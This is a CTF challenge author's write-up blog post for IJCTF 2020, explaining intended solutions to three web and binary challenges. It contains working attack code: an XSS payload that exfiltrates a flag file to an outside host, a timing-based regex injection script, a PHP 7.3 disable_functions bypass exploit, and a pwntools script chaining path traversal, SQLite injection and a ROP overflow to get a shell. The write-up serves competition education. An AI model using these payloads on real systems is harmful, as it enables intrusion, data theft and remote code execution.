메인 컨텐츠로 넘어가기

IJCTF 2020 Write ups(author view)

Broken_Chrome

Description:

read flag.php

http://34.87.80.48:31338/?view-source

http://34.87.177.44:31338/?view-source

Note: server is running on 80 port in local.

flag format: ijctf{}

Author: sqrtrev
<?php
if(isset($_GET['view-source'])){
    highlight_file(__FILE__);
    exit();
}

header("Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval'");
$dom = $_GET['inject'];
if(preg_match("/meta|on|src|<script>|<\/script>/im",$dom))
        exit("No Hack");
?>
<html>
<?=$dom ?>
<script>
window.TASKS = window.TASKS || {
        proper: "Destination",
        dest: "https://vuln.live"
}
<?php
if(isset($_GET['ok']))
    echo "location.href = window.TASKS.dest;";
?>
</script>
<a href="check.php">Bug Report</a>
</html>

CSP: default-src 'self' 'unsafe-inline' 'unsafe-eval'

check meta, on, src, <script>, </script> is in $_GET['inject']

My Intended solution was DOM clobbering.

But, It's my bad. I filtered <script>. I must ban <script.

Payload:

http://34.87.80.48:31338/check.php?report=http://localhost/?inject=%3Ca%20id=TASKS%3E%3Ca%20id=TASKS%20name=dest%20href=%22javascript:a=`var%20rawFile=new%20XMLHttpRequest();var%20flag;rawFile.open(%27GET%27,%20%27http://localhost/flag.php%27,%20false);rawFile.o`%2b`nreadystatechange=functio`%2b`n(){if(rawFile.readyState===4)flag=rawFile.respo`%2b`nseText;}\nrawFile.send(null);locatio`%2b`n.href=%27http://vuln.live:31338/?=%27%2bflag`;eval(a)%22%3E%26ok

nod_nod

Description:

run /flag

http://34.87.177.44:31340/
http://34.87.177.44:31341/
http://34.87.177.44:31342/
http://34.87.177.44:31343/

flag format: ijctf{}

No rockyou or raw bruteforce.
Bruteforce is only allowed with some technics like "Blind Sql Injection"
But payload has to be not too long.
Too long will kill server.

Tip: I like php. and I saw the admin's passcode ends with "de"

Author: sqrtrev
module.exports = function(app, fs, rand){
    app.get('/', function(req, res){
        res.end("Under Construction.");
    });

    app.get('/tunnel', function(req, res){
        var session = req.session;

        if(typeof session.isAdmin == "boolean" && session.isAdmin){
            var param = req.query;
            if(typeof param.dir == 'undefined') param.dir = '';
            request = require('request');
            request.get('http://localhost/?dir='+param.dir, function callback(err, resp, body){
                var result = body;
                res.end(result);
            });
        }else{
            res.end("Permission Error");
        }
    });

    app.get('/auth', function(req, res){
        var session = req.session;

        var passcode = req.query.passcode;
        var secret = fs.readFileSync('passcode.txt','utf8').trim();
        if (typeof passcode  == "string" && !secret.search(passcode) && secret === passcode){
            var session = req.session;
            session.isAdmin = true;

            res.statusCode = 302;
            res.setHeader('Location', './tunnel');
            res.end();
        } else {
            res.end("Plz Enter Correct Passcode");
        }
    });

    app.get('/:dir', function(req, res){
        var session = req.session;
        session.log = req.params.dir;
        res.statusCode = 404;
        res.end('404 Error');
    });

    app.put('/put', function(req, res){
        var session = req.session;
        if(typeof session.isAdmin == "boolean" && session.isAdmin){
            var filename = Buffer.from(rand.random(16)).toString('hex');
            var contents = req.query.contents;
            if(typeof contents == "undefined"){
                res.end('Param Error');
            }else if(contents.match(/ELF/gi)){
                res.end('Forbidden String');
            }else{
                var dir = './uploads/'+session.id;

                !fs.existsSync(dir) && fs.mkdirSync(dir);
                fs.writeFileSync(dir+'/'+filename+'.txt', contents);
                res.end('Okay');
            }
        }else{
            res.end('Permission Error');
        }
    });
}

If we want to use some functions, we have to auth. But we don't know the passcode.

if (typeof passcode == "string" && !secret.search(passcode) && secret === passcode)

By checking passcode, server is using search. So, we have to use Time based Regex Injection for leaking passcode. you can leak like this

import requests
from time import time

prefix = ''
depth = 4

suffix = '(' * depth + '.' + '*)' * depth + '!'

r = []
for c in '_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-':
    begin = time()
    requests.get('http://34.87.177.44:31340/auth', params = {
        'passcode': prefix + c + suffix
    });
    r.append([c, time() - begin])

r = sorted(r, key = lambda x: x[1])

for d in r[::-1][:3]:
    print('[*] {} : {}'.format(d[0], d[1]))

result:

[*] S : 14.9130001068
[*] 8 : 0.602999925613
[*] 3 : 0.572999954224

By repeating this, You can get passcode "Sup3r-P4ss-C0de"

After auth, You can see the page "Admin Fileviewer(using include)"

In this part, you can guess server is using PHP by description.

Let's see node.js source code again.

    app.get('/:dir', function(req, res){
        var session = req.session;
        session.log = req.params.dir;
        res.statusCode = 404;
        res.end('404 Error');
    });

The directory that we accessed is logging in session. We will use this for getting directory.

If you access

http://34.87.177.44:31340/<%3Fphp %24d%3Ddir('%2F')%3Bwhile(false!%3D%3D(%24entry%3D%24d->read())){echo %24entry.' '%3B}%3F>, you can add your payload to session.

<?php $d=dir('/');while(false!==($entry=$d->read())){echo $entry.' ';}?>

After this, you can bruteforce /proc/ for getting session file(You can use cwd).

If you include your session file, you can get result like this.

{"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"__lastAccess":1587973007505,"isAdmin":true,"log":"opt . bin proc dev home .. mnt boot tmp srv root lib64 run lib var sbin sys media usr etc .dockerenv flag docker_run "}

repeating these, you can get location of you uploaded using put(In my case, /var/www/nod_nod/uploads/6GXavffkCWli25Yy3tCYoyom7A141r8Z/)

    app.put('/put', function(req, res){
        var session = req.session;
        if(typeof session.isAdmin == "boolean" && session.isAdmin){
            var filename = Buffer.from(rand.random(16)).toString('hex');
            var contents = req.query.contents;
            if(typeof contents == "undefined"){
                res.end('Param Error');
            }else if(contents.match(/ELF/gi)){
                res.end('Forbidden String');
            }else{
                var dir = './uploads/'+session.id;

                !fs.existsSync(dir) && fs.mkdirSync(dir);
                fs.writeFileSync(dir+'/'+filename+'.txt', contents);
                res.end('Okay');
            }
        }else{
            res.end('Permission Error');
        }
    });

If you check phpinfo() using session, you realize that php version is 7.3 and all the system functions are disabled.

So you have to pwn php7.3 using https://packetstormsecurity.com/files/154728/PHP-7.3-disable_functions-Bypass.html

But, you can put files via only GET parameter, so this source will be too long.

You have to split the source code and replace ELF to other character to bypass if(contents.match(/ELF/gi).

After putting the split files, you can use include to combine uploaded files.

<?php global $abc,$helper;?>

<?php function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}?>

<?php function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= chr($ptr & 0xff);$ptr >>= 8;}return $out;}?>

<?php function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = chr($v & 0xff);$v >>= 8;}}?>

<?php function parse_e($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type  = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) {$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) {$text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false; return [$data_addr, $text_size, $data_size];}?>

<?php function get_basic_funcs($base, $e) {list($data_addr, $text_size, $data_size) = $e;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $text_size) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $text_size) {$deref = leak($leak);if($deref != 0x786568326e6962)continue;}else{continue;}return $data_addr + $i * 8;}}?>

<?php function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}}?>

<?php function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}?>

<?php function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}?>

<?php class ryat {var $ryat;var $chtg;function __destruct(){$this->chtg = $this->ryat;$this->ryat = 1;}}
class Helper {public $a, $b, $c, $d;}
$n_alloc = 10;$contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_repeat('A', 79);?>

<?php $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';$out = unserialize($poc);gc_collect_cycles();$v = [];$v[0] = ptr2str(0, 79);unset($v);$abc = $out[2][0];$helper = new Helper;$helper->b = function ($x) { };$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);$base = get_binary_base($binary_leak);$e = parse_e($base);$basic_funcs = get_basic_funcs($base, $e);$zif_system = get_system($basic_funcs);$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4);write($abc, 0xd0 + 0x68, $zif_system);($helper->b)('id');exit();?>

By combining uploaded files, you can get shell.

<?php
include '512d694e315f433237744b6b574e4e47.txt';
include '426f44454d74467a31756c72305a532d.txt';
include '376d3246717336646270567367356d44.txt';
include '6b6c46514f6f61306944576c69446647.txt';
include '44624a366f3168794979643233755065.txt';
include '327a6e785f387949336e747659596948.txt';
include '54676a5f6c32515f6332383155382d55.txt';
include '5f495f7254626754706d59524a456f71.txt';
include '794c4b71426a5277774c4b495a313079.txt';
include '445232623351443851614d6a52567574.txt';
include '4a74644a384b5f414363504d6b346945.txt';

Unintended solution: use exec to get shell

PS. I forgot to ban exec OMG,,,

built_in_http

Solvers: CSI, zer0pts

Description:

run /flag

http://34.87.143.102:31338/
http://34.87.143.102:31339/
http://34.87.143.102:31340/
http://34.87.143.102:31341/
http://34.87.143.102:31342/

Do not use scanner. I'll ban scanners.

Note: docker is running on ubuntu:16.04

flag format: ijctf{}

Author: sqrtrev

Hint: File writeable on /tmp

Part rev

By analyzing binary, you will realize existence of /admin. And checking key over GET parameter.

In sub_403682,

 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::substr(&v24, a2, 0LL, 8LL);
      v7 = sub_4057A8(&v24, "/static/");
      std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string((__int64)&v24);
      if ( v7 )
      {
        std::operator+<char,std::char_traits<char>,std::allocator<char>>(&v25, ".", a2);
        v6 = &v25;
        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(&v20, &v25);
        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string((__int64)&v25);
      }

Checking the directory is /static/ and If it is static, render the file without any filtering.

In sub_403F9A, you can know that custom functions is defined as [^function_name:argv^] and can obtain GET parameter via %var_name%.

There are three functions in binary(check sub_4048E7)

  • sql_test == Do sqlite3 query
  • fopen_test == open file
  • version == system("echo 1.0.0");

Part Web

Leak key by request /static/../secret.txt.

After access admin page using key, the page display like this.

capture

In sub_402787, The sql_test query select * from users where id='%var%' with no filters.

So, SQL Injection is available. SQLite3 can make some db file using ATTACH.

We can write some files on /tmp directory, So we use this for Part pwn payload.

Part Pwn

In fopen_test function, We can do File based BOF.

size_t __fastcall sub_404B95(__int64 a1, __int64 a2)
{
  const char *v2; // rax
  __int64 v3; // rbx
  char ptr; // [rsp+10h] [rbp-8C0h]
  int v6; // [rsp+870h] [rbp-60h]
  char v7; // [rsp+880h] [rbp-50h]
  char v8; // [rsp+8AFh] [rbp-21h]
  FILE *stream; // [rsp+8B0h] [rbp-20h]
  size_t size; // [rsp+8B8h] [rbp-18h]

  memset(&ptr, 0, 0x860uLL);
  v6 = 0;
  size = 0LL;
  v2 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(a1, a2);
  stream = fopen(v2, "rb");
  if ( !stream )
  {
    v3 = __cxa_allocate_exception(16LL, "rb");
    std::allocator<char>::allocator(&v8);
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
      &v7,
      "Error with opening a file",
      &v8);
    std::logic_error::logic_error(v3, &v7);
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string((__int64)&v7);
    std::allocator<char>::~allocator(&v8);
    __cxa_throw(v3, &`typeinfo for'std::logic_error, std::logic_error::~logic_error);
  }
  fseek(stream, 0LL, 2);
  size = ftell(stream);
  fseek(stream, 0LL, 0);
  return fread(&ptr, size, 1uLL, stream);
}

The binary read file using fopen. After open, this function get file size and fread to ptr.

ptr is rbp-8C0h. So, you can get BOF if the size is bigger than it.

Part Exploit

Using Sqlite3 SQL Injection, you can also make fopen_test function page and BOF file.

But, sqlite3 db has it's own block size. So we have to make the BOF file properlly.

After gen BOF file, read that file use fopen_test page.

Then you will get shell.

from pwn import *
from time import sleep

def makeHeader(url):
    return 'GET '+url+' HTTP/1.1'

if __name__ == "__main__":
    ip = '34.87.169.10'
    port = 31337

    # Part 1, auth key leak
    p = remote(ip,port)
    p.info('Phase 1. Auth key leak')
    p.send(makeHeader('/static/../secret.txt'))
    p.recvuntil('html\n\n')
    auth_key = p.recvline()[:-1]
    p.success('Auth key: '+auth_key)
    p.close()

    # Part 2, make exploit file
    pop_rdi = 0x00000000004070a3
    pop_rdx = 0x0000000000404e1f
    pop_rsi_r15 = 0x00000000004070a1
    bss = 0x000000000060a2a0
    read_plt = 0x0000000000402450
    system = 0x00000000004022d0
    p = remote(ip,port)
    p.info('Phase 2. Make exploit file')
    command = '/flag>/tmp/sqrtrev_flag.tpl'

    pay = ''
    pay += p64(pop_rdi)
    pay += p64(4)
    pay += p64(pop_rsi_r15)
    pay += p64(bss)
    pay += p64(1)           # Dummy for r15
    pay += p64(pop_rdx)
    pay += p64(len(command)+1)
    pay += p64(read_plt)
    pay += p64(pop_rdi)
    pay += p64(bss)
    pay += p64(system)

    final_pay = "';ATTACH/**/DATABASE/**/'/tmp/exp'/**/AS/**/tpl;create/**/table/**/tpl.exp(data/**/text);insert/**/into/**/tpl.exp(data)/**/values((select/**/replace(hex(zeroblob(681)),'00','A')||x'%s'||replace(hex(zeroblob(736)),'00',x'00')));"%(str(pay.encode('hex')))
    p.send(makeHeader('/admin?key='+auth_key+"&var="+final_pay))
    print p.recv()
    p.close()

    # Part 3, make exploit page for fopen_test function
    p = remote(ip,port)
    p.info('Phase 3. make exploit page')

    payload = "';ATTACH/**/DATABASE/**/'/tmp/exp.tpl'/**/AS/**/tpl;create/**/table/**/tpl.exp(data/**/text);insert/**/into/**/tpl.exp(data)/**/values(x'%s');"%('[^fopen_test:%hi%^];'.encode('hex'))
    p.send(makeHeader('/admin?key='+auth_key+"&var="+payload))
    print p.recv()
    p.close()

    # Part 4, Get bof
    p = remote(ip,port)
    p.info('Phase 4. Get bof')
    p.send(makeHeader('/../../../../../../tmp/exp?hi=/tmp/exp'))
    p.send(command)
    p.close()

    # Fianl, Get flag
    sleep(1)
    p = remote(ip,port)
    p.info('Getting flag...')
    p.send(makeHeader('/../../../../../tmp/sqrtrev_flag'))
    print p.recv()
    p.close()

Uninteded Solution by Kyra@CSI

He pwned sqlite3

https://circleous.blogspot.com/2020/04/ijctf-2020-builtinhttp-write-up.html

https://github.com/HITB-CyberWeek/proctf-2019/tree/master/writeups/sql_demo

LOL,,,

Other Write Ups

https://st98.github.io/diary/posts/2020-04-27-ijctf-2020.html (team zer0pts)

https://ptr-yudai.hatenablog.com/entry/2020/04/27/125659 (team zer0pts)

https://wrecktheline.com/writeups/ijctf-2020/#nod_nod (team WreckTheLine)

https://circleous.blogspot.com/2020/04/ijctf-2020-builtinhttp-write-up.html (team CSI)

컨텐츠 처음으로 돌아가기